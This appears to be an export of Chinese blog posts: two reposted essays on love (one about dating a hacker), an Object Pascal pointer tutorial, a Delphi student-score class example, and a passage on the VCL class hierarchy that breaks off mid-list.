可是爱你是很辛苦的事情你知道吗？有时候我在想你要是个普通男人该有多好？我们都不会电脑，都不让自己的生活腻在电脑面前，然后我们的每一天都不是从打开电脑开始，那有多好啊？这样也许我们可以笑看初雪，临窗听雨\u0026hellip;\u0026hellip;我们不用说那么多不属于我们两个人的话题。现在想想，我们聊的话题除了电脑外，没别的另我们兴奋了。我们是在和彼此恋爱，不是电脑不是吗？经常你就研究我永远也不明白的木马好多天，究竟木马是你的恋人还是我？我是木马就好了，这样你花在我身上的心思也会比较多啊\u0026hellip;\u0026hellip;你爱我吗？你说爱的时候是真心的吗？你有梦见过我吗？看不见我的时候你会想念我吗？你记得我喜欢吃的东西吗？你想知道我在做什么吗？为什么你的问题那么少？为什么你就不愿意和我将心掏出来好好聊聊呢？我爱你，即使你不是黑客，即使你缺鼻子少眼，我还是不可自拔地爱你啊！我不愿意你只是一时冲动就和我在一起，我怕伤害你，更怕被你伤害啊！是我们彼此太尊重彼此了吗？是我们彼此太珍惜对方了吗？以至于让我本来很坚定很明亮的心开始模糊了！ 是的，和一个黑客谈恋爱。要做好以下心理准备： 1.可能你永远追不上他的速度。所以你要比任何女人都努力。你起码要会一样他最不拿手的东西。如果他不擅长编程，那么这个就是你要奋斗的目标。怎么说呢？我曾经学垃圾VF的时候写的程序冗长又复杂，在学习VB的时候写的程序自己都不知道在弄什么，简直可以说是乱七八糟。但是你还是要拼命学，因为说不定哪天他对编程感兴趣的时候你就有话说了。 2.你不仅要会计算机，还要会一个女人应该会的全部知识。他会很忙，忙到不知道怎么照顾你，所以你要学煮饭，会理家，最好是做个全能的女人。照顾他是你必须的，谁叫你爱他？他也许睡觉的时候不安稳，所以你要做好以后半夜起床给他盖被子的心理准备。他也许忙得忘记吃饭，那么你要练习怎么给小孩子喂饭，是的，你今后还要给他一口一口喂他。 3.你要懂得什么叫安静。你要知道，一个在电脑前工作的男人是很讨厌被人打断思维的那种感觉。你永远不要指望他在第一时间给你回复，他连吃饭都可以忘记，更何况你说的话呢？当然，他也许记得你说的话，可是他不会说\u0026ldquo;我知道了\u0026rdquo;，得到一句\u0026ldquo;恩\u0026rdquo;已经是奇迹了。我的经历是他收到了留言就立刻给我做好我想要的事情，但是他不会给你说\u0026ldquo;我做好了\u0026rdquo;，于是你必须自己再去看他究竟有没有做。总之，你不要在他工作的时候和他聊天，更不要成天给他说垃圾话题，什么\u0026ldquo;今天你开心吗？\u0026rdquo;\u0026ldquo;你爱我吗？\u0026rdquo;他没有时间回答的。他爱你也不会成天说，建议当他说爱你的时候拿软件录音，然后想问他的时候放给自己听。还有，他如果10分钟之内没有回你的问题那么他一定是忙，不想自讨苦吃就别去继续打扰他。 4.和他恋爱是很寂寞的事情。我从来没有想过以后和他牵手逛街，没有想过和他到国外过圣诞节，没有想过和他去看大海。他宁愿坐在电脑前对着屏幕发呆也不愿意和你出门。你真要爱他的话最好就找姐妹去逛街吧。还有，以后开同学会的时候尽量找个周围有网吧的地方，这样他和你的朋友见面之后就可以去上网。否则他会觉得你在浪费他的时间。你不开心的时候最好自己解决，别去烦他，他忙，可能他正在和一个顽固的网站斗争，他正一肚子火，没精力处理你的问题。 5.最好放弃美容。相信我，要想爱他又美容是不可能的。通常黑客在半夜活动。什么10点睡美容觉就忍了吧，他总是习惯在凌晨2点给你说\u0026ldquo;晚安\u0026rdquo;，如果想得到他的祝福那么就准备一罐咖啡，然后再准备一本最好是《追忆似水年华》那样的书，一边看一边等待吧。如果他真的2点都没有给你回应，那么最好你立刻准备点夜宵的陪他通宵。我最近没哪天是2点前睡觉的。 6.等待是家常便饭。是的，你想问他个问题吗？你想和他谈心吗？好的，请耐心等待，运气好的话他很快就闲下来，运气不好就几天的样子吧。还好，我的问题都是当天解决的。还有，交代他的事情他不会第一时间完成的，除非他当时确实没有事情做。然后你要等着和他结婚？好的，有你等的，等他完成自己的梦想再说吧。 7.你看着他就好了。相信我，他凝视电脑的时间永远比注视你的时间多。那些\u0026ldquo;你看我今天有没有什么变化\u0026rdquo;的愚蠢问题千万不要问。他可能注意到今天XX病毒出变种了，XX程序有新漏洞了，可是你别想他注意到你换了个新发型。他是工作狂人，你要体贴他，更别生气地说\u0026ldquo;你看着我的眼睛\u0026rdquo;，你的眼睛或许永远没有木马有魅力。 8.随时做好被冷落的准备。他可能一天也不会和你说半句话，恩，是的，还是那个来原因，他忙啊。 9.学习好最基本的计算机常识。不会拿最简单的WEBSHELL就别和他恋爱了。他可能更有兴趣对你说他今天是怎么成功黑了一个站点，如果你觉得无聊那么最好尽快和他分手.你要百分百爱计算机，我相信没有黑客GG愿意接受一个讨厌计算机的女生，你们在一起是个错误，今天不分手明天也会分手的。 10.甜言蜜语永远由你来说。好的，他是个语言大师\u0026mdash;\u0026mdash;计算机语言，你没有发现他和计算机对话的时间长过和你对话的时间吗？他爱你或许不知道怎么表达，一句\u0026ldquo;我爱你\u0026rdquo;就够了，真的，这是他全部感情的表达，你要体谅他的词穷，更或许他会做个你用不来的程序讨你的欢喜，你不懂不要紧，你不开心也别表现出来，你想想，他能花时间给你做个东东出来已经说明他把你放在很重要的位置了，不是吗？你不开心也要装作很开心，说\u0026ldquo;老公，你好好哦，我爱你\u0026rdquo;你不懂也没关系，就说\u0026ldquo;哇！做得好棒啊！真有意思啊！\u0026rdquo; 我觉得至少你要做到以上10点，我一直把以上10点铭记在心，每天我尽量这样去做。明白吗？再寂寞也不要哭泣，因为你爱他啊！你爱这个男人，就请无条件付出\u0026hellip;\u0026hellip;\n","permalink":"https://hessian.cn/p/570.html","summary":"和他在一起是第38天了，漫长的日子仿佛一瞬间而已。 我坐在电脑这头，他在网络另一头回应我的呼喊。我想这样是完美的，至少我们都可以给对方最多的幻想，让彼此有时间和空间去幻想对方的好，忽略一切不美好的事情。这就是网络的魅力。我是要感激吗？ 是的，我爱上了个黑客。 ","title":"[转]不要爱上一个黑客"},{"content":"回想自己做人的这三十多年，不禁悲从中来，爱情是么子东东？耗费了自己多少宝贵的光阴。到头来，似乎恍然大悟，又好似一无所获。 最恨暗恋，心里抵死地幻想，脸上却不敢流露一丝一毫，把青春岁月最宝贵的时间、感情用在一个无谓的人身上，而那个人竟然毫不知情，到最后竟与你一点关系也没有，而且如果有机会睇清楚，这个人竟然和所有人一样，既不美好也不高尚，根本不值得你化费那么多心思，浪费了大好青春！\n更恨爱了又分开，干嘛呢、干嘛呢？像吃饱了撑的！像火车交汇处一样，交汇的一刹那就是永远的分开，渐行渐远，可是你为那一刹那跋涉了多少辛苦的路程，为那一刹那的分开流了多少不舍的泪！可是爱过的人以后跟你的生活也是一点也不搭边儿，真真耗费了你的辛苦、泪水和长长的旅程。就这样浪费了半辈子！\n爱了结婚又如何？恋爱时美丽如天仙的人，婚后两人披头散发、又吼又叫，把自己最丑陋的一面暴露出来，真是耗费了婚前那许多的心思、装扮和美好的情感！接下来的生活是有儿有女有牵挂，有人扯着你不让你死得那么痛快，你就这样成了爸爸、妈妈，然后又成了爷爷、奶奶，就这样浪费一辈子！\n总之，爱情就是浪费！不仅浪费时间和生命，还浪费金钱和感情，更是浪费精力、体力和脑力！\n感情丰富的人是大傻冒，一次次激情投入、一次次把自己烧成灰烬，一次次的浪费，极大的浪费！\n情商不高的人是真聪明，因为浪费得比别人少，有先见之明。\n不爱不婚不嫁的人是真正觉悟的圣人，是大智慧，因为绝不浪费，把时间精力用于济世救人做大事。\n可是我辈不是圣人，超脱不了做人的局限性，思想、行动都不能自由地来往天地间，除了吃喝拉撒睡，爱让人活得有梦想、有幻觉、有错觉、有折磨，让你欲罢不能，恋爱结婚生儿育女，在通往天堂与地狱之间，人在地面停留的时间太长，这样有事可干，这样厮磨着把一生渡过，所以爱情是上帝把人套牢的一个伎俩。\n","permalink":"https://hessian.cn/p/641.html","summary":"回想自己做人的这三十多年，不禁悲从中来，爱情是么子东东？耗费了自己多少宝贵的光阴。到头来，似乎恍然大悟，又好似一无所获。 最恨暗恋，心里抵死地幻想，脸上却不敢流露一丝一毫，把青春岁月最宝贵的时间、感情用在一个无谓的人身上，而那个人竟然毫不知情，到最后竟与你一点关系也没有，而且如果有机会睇清楚，这个人竟然和所有人一样，既不美好也不高尚，根本不值得你化费那么多心思，浪费了大好青春！\n","title":"[转]爱情？ 是浪费时间吗？"},{"content":"大家都认为，C语言之所以强大，以及其自由性，很大部分体现在其灵活的指针运用上。因此，说 指针是C语言的灵魂，一点都不为过。同时，这种说法也让很多人 产生误解，似乎只有C语言的指针才能算指针。Basic不支持指针，在此不论。其实，Pascal语言本身也是支持指针的。从最初的Pascal发展至今 的Object Pascal，可以说在指针运用上，丝毫不会逊色于C语言的指针。 以下内容分为八个部分，分别是 一、类型指针的定义 二、无类型指针的定义 三、指针的解除引用 四、取地址（指针赋值） 五、指针运算 六、动态内存分配 七、字符数组的运算 八、函数指针 一、类型指针的定义。对于指向特定类型的指针，在C中是这样定义的： int *ptr; char *ptr; 与之等价的Object Pascal是如何定义的呢？ var ptr : ^Integer; ptr : ^char; 其实也就是符号的差别而已。 二、无类型指针的定义。C中有void *类型，也就是可以指向任何类型数据的指针。Object Pascal为其定义了一个专门的类型：Pointer。于是， ptr : Pointer; 就与C中的 void *ptr; 等价了。 三、指针的解除引用。要解除指针引用（即取出指针所指区域的值），C 的语法是 (*ptr)，Object Pascal则是 ptr^。 四、取地址（指针赋值）。取某对象的地址并将其赋值给指针变量，C 的语法是 ptr = \u0026amp;Object; Object Pascal 则是 ptr := @Object; 也只是符号的差别而已。 五、指针运算。在C中，可以对指针进行移动的运算，如： char a[20]; char *ptr=a; ptr++; ptr+=2; 当执行ptr++;时，编译器会产生让ptr前进sizeof(char)步长的代码，之后，ptr将指向a[1]。ptr+=2;这句使得ptr前进两 个sizeof(char)大小的步长。同样，我们来看一下Object Pascal中如何实现： var a : array [1..20] of Char; ptr : PChar; //PChar 可以看作 ^Char begin ptr := @a; Inc(ptr); // 这句等价于 C 的 ptr++; Inc(ptr, 2); //这句等价于 C 的 ptr+=2; end; 六、动态内存分配。C中，使用malloc()库函数分配内存，free()函数释放内存。如这样的代码： int *ptr, *ptr2; int i; ptr = (int*) malloc(sizeof(int) * 20); ptr2 = ptr; for (i=0; i\u0026lt;20; i++){ *ptr = i; ptr++; } free(ptr2); Object Pascal中，动态分配内存的函数是GetMem()，与之对应的释放函数为FreeMem()（传统Pascal中获取内存的函数是New()和 Dispose()，但New()只能获得对象的单个实体的内存大小，无法取得连续的存放多个对象的内存块）。因此，与上面那段C的代码等价的 Object Pascal的代码为： var ptr, ptr2 : ^integer; i : integer; begin GetMem(ptr, sizeof(integer) * 20); //这句等价于C的 ptr = (int*) malloc(sizeof(int) * 20); ptr2 := ptr; //保留原始指针位置 for i := 0 to 19 do begin ptr^ := i; Inc(ptr); end; FreeMem(ptr2); end; 对 于以上这个例子（无论是C版本的，还是Object Pascal版本的），都要注意一个问题，就是分配内存的单位是字节（BYTE），因此在使用GetMem时，其第二个参数如果想当然的写成 20，那么就会出问题了（内存访问越界）。因为GetMem(ptr, 20);实际只分配了20个字节的内存空间，而一个整形的大小是四个字节，那么访问第五个之后的所有元素都是非法的了（对于malloc()的参数同 样）。 七、字符数组的运算。C语言中，是没有字符串类型的，因此，字符串都是用字符数组来实现，于是也有一套str打头的库函数以进行字符数组的运算，如以下代码： char str[15]; char *pstr; strcpy(str, \u0026quot;teststr\u0026quot;); strcat(str, \u0026quot;_testok\u0026quot;); pstr = (char*) malloc(sizeof(char) * 15); strcpy(pstr, str); printf(pstr); free(pstr); 而 在Object Pascal中，有了String类型，因此可以很方便的对字符串进行各种运算。但是，有时我们的Pascal代码需要与C的代码交互（比如：用 Object Pascal的代码调用C写的DLL或者用Object Pascal写的DLL准备允许用C写客户端的代码）的话，就不能使用String类型了，而必须使用两种语言通用的字符数组。其实，Object Pascal提供了完全相似C的一整套字符数组的运算函数，以上那段代码的Object Pascal版本是这样的： var str : array [1..15] of char; pstr : PChar; //Pchar 也就是 ^Char begin StrCopy(@str, \u0026#8216;teststr\u0026#8217;); //在C中，数组的名称可以直接作为数组首地址指针来用 //但Pascal不是这样的，因此 str前要加上取地址的运算符 StrCat(@str, \u0026#8216;_testok\u0026#8217;); GetMem(pstr, sizeof(char) * 15); StrCopy(pstr, @str); Write(pstr); FreeMem(pstr); end; 八、函数指针。在动态调用DLL中的函数时，就会用到函数指针。假设用C写的一段代码如下： typedef int (*PVFN)(int); //定义函数指针类型 int main() { HMODULE hModule = LoadLibrary(\u0026quot;test.dll\u0026quot;); PVFN pvfn = NULL; pvfn = (PVFN) GetProcAddress(hModule, \u0026quot;Function1\u0026quot;); pvfn(2); FreeLibrary(hModule); } 就我个人感觉来说，C语言中定义函数指针类型的typedef代码的语法有些晦涩，而同样的代码在Object Pascal中却非常易懂： type PVFN = Function (para : Integer) : Integer; var fn : PVFN; //也可以直接在此处定义，如：fn : function (para:Integer):Integer; hm : HMODULE; begin hm := LoadLibrary(\u0026#8216;test.dll\u0026#8217;); fn := GetProcAddress(hm, \u0026#8216;Function1\u0026#8217;); fn(2); FreeLibrary(hm); end; ","permalink":"https://hessian.cn/p/621.html","summary":"大家都认为，C语言之所以强大，以及其自由性，很大部分体现在其灵活的指针运用上。因此，说 指针是C语言的灵魂，一点都不为过。同时，这种说法也让很多人 产生误解，似乎只有C语言的指针才能算指针。Basic不支持指针，在此不论。其实，Pascal语言本身也是支持指针的。从最初的Pascal发展至今 的Object Pascal，可以说在指针运用上，丝毫不会逊色于C语言的指针。 ","title":"【转】浅谈Object Pascal的指针"},{"content":"转自:http://mrmzy.bokee.com/tb.b?diaryId=15467469\nunit Unit1;\ninterface\nuses\nWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,\nDialogs, StdCtrls;\ntype\nTForm1 = class(TForm)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label1: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label2: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label3: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label4: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit1: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit2: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit3: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit4: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label5: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit5: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Button1: TButton;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Button2: TButton;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Button3: TButton;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label6: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label7: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure Button1Click(Sender: TObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure Button2Click(Sender: TObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure Button3Click(Sender: TObject);\nprivate\n\u0026nbsp;\u0026nbsp;\u0026nbsp; { Private declarations }\npublic\n\u0026nbsp;\u0026nbsp;\u0026nbsp; { Public declarations }\nend;\nvar\nForm1: TForm1;\ntype\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Tstudent=class\n\u0026nbsp;\u0026nbsp;\u0026nbsp; private\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; name:string;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; yy:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; math:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; hx:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; total:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure getname(nm:string);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure getyy(cj:real);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure getmt(cj:real);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure gethx(cj:real);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure caculat();virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; function returntotal():real;virtual;\nend;\nimplementation\nfunction Tstudent.returntotal():real;\nbegin\nreturntotal:=total;\nend;\nprocedure Tstudent.getname(nm:string);\nbegin\nif name\u0026lt;\u0026gt;nm then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; name:=nm;\nend;\nprocedure Tstudent.getyy(cj:real);\nbegin\nif yy\u0026lt;\u0026gt;cj then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; yy:=cj;\nend;\nprocedure Tstudent.getmt(cj:real);\nbegin\nif math\u0026lt;\u0026gt;cj then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; math:=cj;\nend;\nprocedure Tstudent.gethx(cj:real);\nbegin\nif hx\u0026lt;\u0026gt;cj then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; hx:=cj;\nend;\nprocedure Tstudent.caculat();\nbegin\ntotal:=yy+math+hx;\nend;\n{$R *.dfm}\nprocedure TForm1.Button1Click(Sender: TObject);\nvar\nstudent:Tstudent;\nbegin\nif (edit1.Text=\u0026#8221;) or (edit2.Text=\u0026#8221;) or (edit3.Text=\u0026#8221;) or (edit4.Text=\u0026#8221;) then\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; edit5.Text:=\u0026#8217;请检查输入！\u0026#8217;\nelse\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; begin\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student:=Tstudent.Create;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.getname(edit1.Text);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.getyy(strtofloat(edit2.Text));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.getmt(strtofloat(edit3.Text));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.gethx(strtofloat(edit4.Text));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.caculat();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; edit5.Text:=floattostr(student.returntotal());\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; end\nend;\nprocedure TForm1.Button2Click(Sender: TObject);\nbegin\nedit1.Text:=\u0026#8221;;\nedit2.Text:=\u0026#8221;;\nedit3.Text:=\u0026#8221;;\nedit4.Text:=\u0026#8221;;\nedit5.Text:=\u0026#8221;;\nend;\nprocedure TForm1.Button3Click(Sender: TObject);\nbegin\nclose;\nend;\nend.\n","permalink":"https://hessian.cn/p/447.html","summary":"转自:http://mrmzy.bokee.com/tb.b?diaryId=15467469\nunit Unit1;\ninterface\nuses\nWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,\nDialogs, StdCtrls;\ntype\nTForm1 = class(TForm)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label1: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label2: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label3: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label4: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit1: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit2: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit3: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit4: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label5: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Edit5: TEdit;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Button1: TButton;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Button2: TButton;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Button3: TButton;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label6: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Label7: TLabel;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure Button1Click(Sender: TObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure Button2Click(Sender: TObject);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure Button3Click(Sender: TObject);\nprivate\n\u0026nbsp;\u0026nbsp;\u0026nbsp; { Private declarations }\npublic\n\u0026nbsp;\u0026nbsp;\u0026nbsp; { Public declarations }\nend;\nvar\nForm1: TForm1;\ntype\n\u0026nbsp;\u0026nbsp;\u0026nbsp; Tstudent=class\n\u0026nbsp;\u0026nbsp;\u0026nbsp; private\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; name:string;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; yy:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; math:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; hx:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; total:real;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure getname(nm:string);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure getyy(cj:real);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure getmt(cj:real);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure gethx(cj:real);virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procedure caculat();virtual;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; function returntotal():real;virtual;\nend;\nimplementation\nfunction Tstudent.returntotal():real;\nbegin\nreturntotal:=total;\nend;\nprocedure Tstudent.getname(nm:string);\nbegin\nif name\u0026lt;\u0026gt;nm then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; name:=nm;\nend;\nprocedure Tstudent.getyy(cj:real);\nbegin\nif yy\u0026lt;\u0026gt;cj then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; yy:=cj;\nend;\nprocedure Tstudent.getmt(cj:real);\nbegin\nif math\u0026lt;\u0026gt;cj then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; math:=cj;\nend;\nprocedure Tstudent.gethx(cj:real);\nbegin\nif hx\u0026lt;\u0026gt;cj then\n\u0026nbsp;\u0026nbsp;\u0026nbsp; hx:=cj;\nend;\nprocedure Tstudent.caculat();\nbegin\ntotal:=yy+math+hx;\nend;\n{$R *.dfm}\nprocedure TForm1.Button1Click(Sender: TObject);\nvar\nstudent:Tstudent;\nbegin\nif (edit1.Text=\u0026#8221;) or (edit2.Text=\u0026#8221;) or (edit3.Text=\u0026#8221;) or (edit4.Text=\u0026#8221;) then\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; edit5.Text:=\u0026#8217;请检查输入！\u0026#8217;\nelse\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; begin\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student:=Tstudent.Create;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.getname(edit1.Text);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.getyy(strtofloat(edit2.Text));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.getmt(strtofloat(edit3.Text));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.gethx(strtofloat(edit4.Text));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; student.caculat();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; edit5.Text:=floattostr(student.returntotal());\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; end\nend;\nprocedure TForm1.Button2Click(Sender: TObject);\nbegin\nedit1.Text:=\u0026#8221;;\nedit2.Text:=\u0026#8221;;\nedit3.Text:=\u0026#8221;;\nedit4.Text:=\u0026#8221;;\nedit5.Text:=\u0026#8221;;\nend;\nprocedure TForm1.Button3Click(Sender: TObject);\nbegin\nclose;\nend;\nend.\n","title":"类的定义和使用"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 图2 \u0026#8211; 1为可视组件库的分层结构的简图，图中显示出了树状分层结构的五个主要的分支。\n2.4.1 TObject分支\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 下面几部分分别对包含于五个主要分支中的类做出简要地描述，为完整地说明VCL对象的分层结构，引用了包含于产品中的VCL对象分层结构图。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 所有的VCL对象都派生于TObject，其方法定义了构造、析构、消息处理等基本特征。VCL对象的许多强大的功能都建立在TObject给出的这些方法的基础之上。通过提供下列方法，TObject封装了所有VCL对象最基本的通用特征：\n\u0026middot; 在对象被创建或销毁时响应的能力。\n\u0026middot; 对象的类型和实例信息，及有关对象发布的属性的运行时类型信息（RTTI）\n\u0026middot; 支持消息处理。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TObject是许多简单类的直接祖先。在这一分支中所包含的类有一个共同的重要的特性，它们都是暂时的。这是指，这些类都没有用来在对象被销毁之前保存状态的方法，它们不是固有的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在这一分支中一个较主要的类为异常（Exception）类。它提供一组内嵌的异常类用于自动处理除数为零的错误、文件I/O错误、非法的类型匹配及许多其他的异常情况。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 包含于TObject分支的还有一些封装数据结构的类，例如：\n\u0026middot; TBits，存储了一个布尔型\u0026ldquo;数组\u0026rdquo;的类。\n\u0026middot; TList，链接列表的类。\n\u0026middot; TStack ，包含一个\u0026ldquo;后进先出\u0026rdquo;的指针数组的类。\n\u0026middot; TQueue，包含一个\u0026ldquo;先进先出\u0026rdquo;的指针数组的类。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 此外，你还可以发现一些封装了外部对象的类，如TPrinter，它封装了Windows打印机接口，TRegistry，它封装了底层系统注册及其函数。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TStream是这一分支里其他类型的典型例子。TStream是流对象的基类，可以与如磁盘文件、动态内存等等各种存储介质进行读写操作。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 可以看到，这一分支中包含许多不同类，对于一个开发者来说，这些类都非常有用。\n2.4.2 TPersistent分支\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在VCL分层结构中直接在TObject之下的是TPersistent。TPersistent给其下所有的类添加了两个重要的方法： SaveToStream和LoadFromStream。这些方法向对象提供固有特性。例如：当窗体设计器需要创建DFM文件（存储窗体及其组件信息的文件）时，它循环检查窗体的组件数组，并对其中所有的组件都调用SaveToStream方法。每个组件都\u0026ldquo;知道\u0026rdquo;如何将改变了的属性写入流中（如文本文件）。反过来，若窗体设计器需要从DFM文件中装入组件属性时，它循环检查窗体的组件数组，并对其中所有的组件都调用LoadFromStream方法。因此，任何TPersistent的派生类都有保存状态信息和需要时还原它们的能力。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在这一分支中包含的类主要有：\n\u0026middot; TGraphicsObject，图形对象的基类，封装了Windows图形对象：TBrush、TFont、TPen。\n\u0026middot; TGraphic，图标、位图、图元文件等能存储和显示可视图像的对象的基类，封装了TBitmap、TIcon和TMetaFile。\n\u0026middot; TStrings ，串列表对象的基类。\n\u0026middot; TClipboard，封装了Windows剪贴板对象，它包含从应用程序中剪下或复制的文本或者图形。\n\u0026middot; TCollection、TOwnedCollection和TCollectionItem，包含特殊预定义项的索引集。\n2.4.3 TComponent分支\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TComponent是所有VCL组件的共同祖先。组件就是在设计时可在窗体中操纵的对象。虽然名为可视组件库，其实VCL中包含的大部分对象为非可视化的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; VCL组件都是固有的对象，其功能主要有：\n\u0026middot; 可出现在组件面板上并可在窗体设计器中修改。\n\u0026middot; 